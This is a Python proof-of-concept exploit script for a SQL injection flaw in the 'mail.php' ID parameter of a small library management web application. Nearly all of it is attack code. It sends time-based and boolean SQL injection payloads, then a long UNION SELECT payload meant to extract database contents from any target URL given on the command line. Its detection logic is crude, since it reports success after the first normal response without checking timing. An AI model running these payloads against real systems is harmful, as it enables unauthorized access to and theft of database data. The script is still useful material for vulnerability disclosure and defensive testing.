#!/usr/bin/env python3
"""
CVE-2025-13580 SQL Injection PoC
Target: code-projects Library System 1.0
File: /mail.php
Parameter: ID
"""
import requests
import sys
def test_sql_injection(url):
"""Test for SQL injection vulnerability in mail.php ID parameter"""
# Vulnerable endpoint
target_url = f"{url}/mail.php"
# SQL Injection payload - time-based blind injection
# Using sleep() to verify vulnerability
payloads = [
"1' AND SLEEP(5)-- -",
"1' OR SLEEP(5)-- -",
"1' UNION SELECT SLEEP(5)-- -",
"1' AND 1=1-- -",
"1' AND 1=2-- -"
]
print(f"[*] Testing target: {target_url}")
print(f"[*] CVE-2025-13580 SQL Injection Test")
print("-" * 60)
for payload in payloads:
try:
params = {"ID": payload}
print(f"\n[+] Testing payload: {payload}")
response = requests.get(target_url, params=params, timeout=10)
if response.status_code == 200:
print(f"[+] Response received - Status: {response.status_code}")
print(f"[+] Response time indicates potential vulnerability")
except requests.exceptions.Timeout:
print(f"[!] Request timeout - SQL injection confirmed!")
return True
except requests.exceptions.RequestException as e:
print(f"[-] Request failed: {e}")
return False
def extract_data(url):
"""Extract data using UNION-based SQL injection"""
# Database enumeration payload
union_payload = "1' UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163,164,165,166,167,168,169,170,171,172,173,174,175,176,177,178,179,180,181,182,183,184,185,186,187,188,189,190,191,192,193,194,195,196,197,198,199,200-- -"
target_url = f"{url}/mail.php"
params = {"ID": union_payload}
print(f"\n[*] Attempting data extraction with UNION payload")
try:
response = requests.get(target_url, params=params, timeout=10)
if response.status_code == 200:
print(f"[+] Response received - check for data leakage")
print(f"[+] Response length: {len(response.text)} bytes")
except Exception as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Usage: python3 {sys.argv[0]} <target_url>")
print(f"Example: python3 {sys.argv[0]} http://localhost/Library-System")
sys.exit(1)
target = sys.argv[1].rstrip('/')
if test_sql_injection(target):
print("\n[!] Vulnerability confirmed!")
extract_data(target)
else:
print("\n[-] No vulnerability detected or target not vulnerable")